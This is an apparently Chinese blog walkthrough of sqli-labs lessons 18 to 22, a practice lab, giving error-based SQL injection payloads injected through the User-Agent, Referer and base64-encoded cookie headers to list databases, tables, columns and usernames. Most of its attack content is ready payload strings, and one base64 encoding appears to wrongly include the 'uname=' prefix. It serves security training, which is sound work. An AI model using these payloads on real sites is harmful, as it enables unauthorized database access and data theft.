sqli-lab18和22关详解

2023-11-01

Less-18 – 头信息– uagent – 基于错误 – 字符型

对 uname 和 passwd 进行了 check_input()函数的处理,所以我们在输入 uname 和 passwd 上
进行注入是不行的,但是在代码中,我们看到了 insert()

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;


insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent',
'$IP', $uname)";
*/

利用burpsuite尝试在 User-Agent 的位置进行注入测试,根据提示是从 user-agent下手
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
user-agent 修改为’and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’='1
可以查到数据库版本
在这里插入图片描述

1、查库
'or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) or ’
可能显示不全,单个显示用limit 0,1
'or extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) or ’

2、查表
'or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e)) or ’

3、查列
'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1),0x7e)) or ’

4、查数据
'or extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e)) or ’

Less-19 – 头信息– referer– 基于错误 – 字符型

和 less18 是基本一致的,根据提示,我们从 referer 进行修改。
在这里插入图片描述
1、查库
'or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) or ’
可能显示不全,单个显示用limit 0,1
'or extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) or ’

2、查表
'or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e)) or ’

3、查列
'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1),0x7e)) or ’

4、查数据
'or extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e)) or ’

和18关一模一样

Less-20 – cookie 注入

Cookie 是由服务器端生成,发送给 User-Agent(一般是浏览器),浏览器会将Cookie 的 key/value 保存到某个目录下的文本文件内,下次请求同一网站时就发送该 Cookie 给服务器(前 提是浏览器设置为启用 cookie)。Cookie 名称和值可以由服务器端开发自己定义,对于 JSP 而言也可以直接写入 jsessionid,这样服务器 可以知道该用户是否合法用户以及是否需要重新登录等,服务器可以设置或读取 Cookies 中包含信息,借此维护用户跟服务器会话中的状态。
在这里插入图片描述
根据页面提示,修改cookie,建议用burpsuite修改,抓第二次的页面包,第一次的包可能没有cookie。
在这里插入图片描述
抓这个包
在这里插入图片描述
开始注入,由于前台显示,我们可以不用盲注的方法,参考LESS-1的方法
盲注的话,还是参考我LESS-18的方法,查库查表的方法都是通用的

Less-21 cookie 注入 – – base64 编码

Base64 编码的思想是是采用 64 个基本的 ASCII 码字符对数据进行重新编码。它将需要编码
的数据拆分成字节数组。以 3 个字节为一组。按顺序排列 24 位数据,再把这 24 位数据分
成 4 组,即每组 6 位。再在每组的的最高位前补两个 0 凑足一个字节。这样就把一个 3 字节
为一组的数据重新编码成了 4 个字节。当所要编码的数据的字节数不是 3 的整倍数,也就是
说在分组时最后一组不够 3 个字节。这时在最后一组填充 1 到 2 个 0 字节。并在最后编码完
成后在结尾添加 1 到 2 个 “=”。

base64解码网址

1、查库
原句
uname=admin1 ')or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) #
加密
uname=YWRtaW4xICcpb3IgIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSksMHg3ZSkpICM=

可能显示不全,单个显示用limit 0,1,下面也是
原句
uname=admin1 ')or extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) #
加密
uname=dW5hbWU9YWRtaW4xICcpb3IgIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3Qgc2NoZW1hX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEgbGltaXQgMCwxKSwweDdlKSkgICM=

2、查表
原句
uname=admin1 ')or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e)) #

3、查列
原句
uname=admin1 ')or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1),0x7e)) #

4、查数据
原句
uname=admin1 ')or extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e)) #

Less-22

我们可以从源代码中找到这里对 uname 进行了”uname”的处理
所以
1、查库
原句
uname=admin1"or extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) #
加密
YWRtaW4xIm9yICBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHNjaGVtYV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGxpbWl0IDAsMSksMHg3ZSkpICM=

2、查表
uname=admin1"or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e)) #

3、查列
uname=admin1"or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1),0x7e)) #

4、查数据
uname=admin1"or extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e)) #

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-lab18和22关详解 的相关文章

  • 一个寒假能学会黑客技术吗?看完你就知道了

    一个寒假能成为黑客吗 资深白帽子来告诉你 如果你想的是学完去美国五角大楼内网随意溜达几圈 想顺走一点机密文件的话 劝你还是趁早放弃 但是成为一名初级黑客还是绰绰有余的 你只需要掌握好渗透测试 Web安全 数据库 搞懂web安全防护 SQL注
  • 软件开发和网络安全哪个更好找工作?

    为什么今年应届毕业生找工作这么难 有时间去看看张雪峰今年为什么这么火就明白了 这么多年人才供给和需求错配的问题 在经济下行的今年 集中爆发 供给端 大学生越来越多 需求端 低端工作大家不愿去 高端岗位又太少 很多基础行业 比如机械 土木 所
  • 掌握内网渗透之道,成为实战高手,看《内网渗透实战攻略》就够了

    文末送书 文末送书 今天推荐一本网络安全领域优质书籍 内网渗透实战攻略 文章目录 前言 如何阅读本书 目录 文末送书 前言 当今 网络系统面临着越来越严峻的安全挑战 在众多的安全挑战中 一种有组织 有特定目标 长时间持续的新型网络攻击日益猖
  • 信号浪涌保护器的原理和行业应用方案

    信号浪涌保护器 Surge Protective Device 简称SPD 是一种用于限制信号线路中瞬态过电压和分泄浪涌电流的防雷装置 主要用于保护各类信号线路及设备的防雷安全 信号浪涌保护器的原理是利用气体放电管 压敏电阻 齐纳二极管等非
  • Web 安全漏洞之 OS 命令注入

    什么是 OS 命令注入 上周我们分享了一篇 Web 安全漏洞之 SQL 注入 其原理简单来说就是因为 SQL 是一种结构化字符串语言 攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句 而今天要讲的 OS 命令注入其实原理和 SQL
  • J2EE常见面试题(一)

    StringBuilder和StringBuffer的区别 String 字符串常量 不可变 使用字符串拼接时是不同的2个空间 StringBuffer 字符串变量 可变 线程安全 字符串拼接直接在字符串后追加 StringBuilder
  • 用户数据中的幸存者偏差

    幸存者偏差 Survivorship bias 是一种常见的逻辑谬误 意思是没有考虑到筛选的过程 忽略了被筛选掉的关键信息 只看到经过筛选后而产生的结果 先讲个故事 二战时 无奈德国空防强大 盟军战机损毁严重 于是军方便找来科学家统计飞机受
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • 白帽子如何快速挖到人生的第一个漏洞 | 购物站点挖掘商城漏洞

    本文针对人群 很多朋友们接触安全都是通过书籍 网上流传的PDF 亦或是通过论坛里的文章 但可能经过了这样一段时间的学习 了解了一些常见漏洞的原理之后 对于漏洞挖掘还不是很清楚 甚至不明白如何下手 可能你通过 sql labs 初步掌握了sq
  • 2024年金三银四网络安全考试试题

    2023年金三银四网络安全考试试题 1 关于数据使用说法错误的是 A 在知识分享 案例中如涉及客户网络数据 应取敏感化 不得直接使用 B 在公开场合 公共媒体等谈论 传播或发布客户网络中的数据 需获得客户书面授权或取敏感化 公开渠道获得的除
  • 【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

    部分网站开设编码练习 若安全配置不当 则代码执行将升级为操作系统命令注入 导致敏感信息泄露 本文仅分享命令执行相关知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 未经许可 不可转载 文章目录 信息泄露 扩大危害 信息
  • 【网安神器篇】——WPScan漏洞扫描工具

    目录 一 Wordpress简介 二 WPScan介绍 三 安装 四 获取token 1 注册账号 2 拿到token 五 使用教程 1 常用选项 2 组合命令 1 模糊扫描 2 指定扫描用户 3 插件漏洞扫描 4 主题漏洞扫描 5 Tim
  • 小白入门黑客之渗透测试(超详细)基本流程(内附工具)

    经常会收到小伙伴们这样的私信 为什么我总是挖不到漏洞呢 渗透到底是什么样的流程呢 所以全网最详细的渗透测试流程来了 渗透测试其实就是通过一些手段来找到网站 APP 网络服务 软件 服务器等网络设备和应用的漏洞 告诉管理员有哪些漏洞 怎么填补
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 网络安全(黑客)自学

    1 网络安全是什么 网络安全可以基于攻击和防御视角来分类 我们经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 2 网络安全市场 一 是市场需求量高 二 则是发展相对成熟入门比较容易 3 所需要的
  • 你的服务器还安全吗?用户数据是否面临泄露风险?

    一系列严重的网络安全事件引起了广泛关注 多家知名公司的服务器遭到黑客挟持 用户的个人数据和敏感信息面临泄露的风险 这些事件揭示了网络安全的脆弱性和黑客攻击的威胁性 提醒着企业和个人加强对网络安全的重视 一 入侵案例 1 1 蔚来数据泄露 1
  • 全网最全(黑客)网络安全自学路线!熬夜两周整理(巨详细)

    学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想成为计算机
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 【安全】原型链污染 - Hackit2018

    目录 准备工作 解题 代码审计 Payload 准备工作 将这道题所需依赖模块都安装好后 运行一下 然后可以试着访问一下 报错是因为里面没内容而已 不影响 准备工作就做好了 解题 代码审计 const express require exp
  • 【安全】mybatis中#{}和${}导致sql注入问题及解决办法

    0 问题 使用mybatis的时候遇到了 和 可能导致sql注入的问题 1 预先了解 1 底层通过prepareStatement对当前传入的sql进行了预编译 一个 被解析为一个参数占位符 解析之后会将String类型的数据自动加上引号

随机推荐

  • Python3.x安装Pandas教程

    python3 x 安装pandas总是会出现一些乱七八糟的问题 那现在就给你们讲述一种超级简单的安装方法 非常简单 1 检查自己的python版本 我的是python3 4 32位的 2 https www lfd uci edu goh
  • Jupyter Notebook修改工作区默认路径

    Jupyter notebook启动后 默认的工作空间是当前用户目录 C Users 用户名 为了方便对文档进行管理 往往需要自行设置工作空间 下面是默认工作空间的设置方法 一 修改属性中目标位置 右击 jupyter notebook 快
  • Java JDBC(JdbcTemplate)对表的增删改查

    Java JDBC JdbcTemplate 对表的增删改查 先看 JDBCUtils 再看 JdbcTemplate简单使用 然后增删改查 package domain import JdU JDBCUtils import org ju
  • Unity3d 周分享(22期 2019.8.30 )

    选自过去1 2周 自己所看到外文内容 https twitter com unity3d 和各种其他博客来源吧 早就有了 抱歉才发 1 Unity Transform 性能优化摘要 https qiita com sator imaging
  • linux下搭建RabbitMQ操作

    引言 你是否遇到过两个 多个 系统间需要通过定时任务来同步某些数据 你是否在为异构系统的不同进程间相互调用 通讯的问题而苦恼 挣扎 如果是 那么恭喜你 消息服务让你可以很轻松地解决这些问题 消息服务擅长于解决多系统 异构系统间的数据交换 消
  • php isset 和 array_key_exists 检查数组中是否存在某值的区别

    原文地址 http ivhong com p 110 ivhong com 是我的博客主址 先看看下面这段代码 你觉得结果是什么呢 定义一个数组 gt 5 4 arr a gt null var dump isset arr array k
  • tilemap45度地图的斜向限定判断办法

    前段时间使用cocos2d x做一个小游戏用到了tilmap 而且是45度的tilemap 在正常的坐标系里面一般都是直角坐标系 但是这个东西可以是斜的 要想使用45度的tilemap地图就要进行坐标系的转换 有空再写怎么转换 然后看一些用
  • springboot面试题

    springboot常见面试题 https blog csdn net weixin 44772609 article details 115106450 常见面试题 谈谈你对Spring Boot的理解 SpringBoot主要用来简化使
  • HttpRunner 2.x接口自动化实战

    1 环境准备 测试环境 python3 8 httprunner版本为2 5 7 pip install httprunner 2 5 7 检查安装结果 httprunner V 创建项目 使用 httprunner命令创建一个项目 htt
  • pycharm引入anaconda创建的虚拟环境及对应的python解释器

    对于旧版的pycharm导入anaconda创建的虚拟环境及对应的python解释器 已经有很多解答 但是较新版本的pycharm引入anaconda的虚拟环境似乎有些不同 引入方式 第一步 进入settings 第二步 选择project
  • 企业电子招标采购系统源码Spring Boot + Mybatis + Redis + Layui + 前后端分离 构建企业电子招采平台之立项流程图

    功能模块 待办消息 招标公告 中标公告 信息发布 描述 全过程数字化采购管理 打造从供应商管理到采购招投标 采购合同 采购执行的全过程数字化管理 通供应商门户具备内外协同的能力 为外部供应商集中推送展示与其相关的所有采购业务信息 历史合作
  • 20.Python中Main 函数

    Python编程的术与道 Python语言进阶 视频课程 Python编程的术与道 Python语言进阶 视频课程链接 https edu csdn net course detail 28618 main函数 main函数就像程序的入口点
  • 腾讯云服务器安装宝塔面板教程(一键安装图文教程)建站准备

    腾讯云如何安装宝塔面板 腾讯云服务器安装宝塔面板图文教程 塔面板是一款服务器管理软件 用户可以通过Web端轻松管理服务器 提升运维效率 例如 创建管理网站 FTP 数据库 拥有可视化文件管理器 可视化软件管理器 可视化CPU 内存 流量监控
  • Vue3学习使用创建自定义指令

    简言 除了 Vue 内置的一系列指令 比如 v model 或 v show 之外 Vue 还允许你注册自定义的指令 Custom Directives 官网自定义指令 我们已经介绍了两种在 Vue 中重用代码的方式 组件和组合式函数 组件
  • 决策树和随机森林

    回归模型 1 信息熵 1 熵 2 联合熵 3 条件熵 4 互信息 2 决策树学习算法 1 决策树 2 决策树生成算法 3 信息增益 4 信息增益率 5 Gini系数 6 ID3算法举例 7 三种决策树学习算法 8 回归树 3 决策树的评价
  • c语言数组所含字节数,(C语言)数组所占字节怎么算?

    在C语言中 可以使用sizeof操作符来计算数组所占字节 sizeof操作符是专门用于检测类型或变量或数组在内存中所占有的空间 字节数 的 用它可以直接检测出数组在内存占有的字节数 C语言中有一个专门用于检测类型或变量或数组在内存中所占有的
  • c++之复杂类型作为unordered_map的键值

    unordered map unordered set 我们知道c 中有unordered map和unordered set这两个数据结构 其内部实现是哈希表 这就要求作为键值的类型必须是可哈希的 比如常见的数据类型int string等
  • group by以后如何count?

    原文 https www cnblogs com jimleestone p sql 001 html 当表数据量很庞大 需要使用sql的limit功能来分页时 需要发送两条sql才能实现分页 SELECT FROM tablename W
  • 点击商品进入详情页面

    需求 点击商品 进入对应商品的详情页面 实现 获取商品的Id运用 a 标签使用Url参数 将商品Id发送到Servlet 看url地址就知道发送请求时将商品id发送出去了 Html代码 a
  • sqli-lab18和22关详解

    Less 18 头信息 uagent 基于错误 字符型 对 uname 和 passwd 进行了 check input 函数的处理 所以我们在输入 uname 和 passwd 上 进行注入是不行的 但是在代码中 我们看到了 insert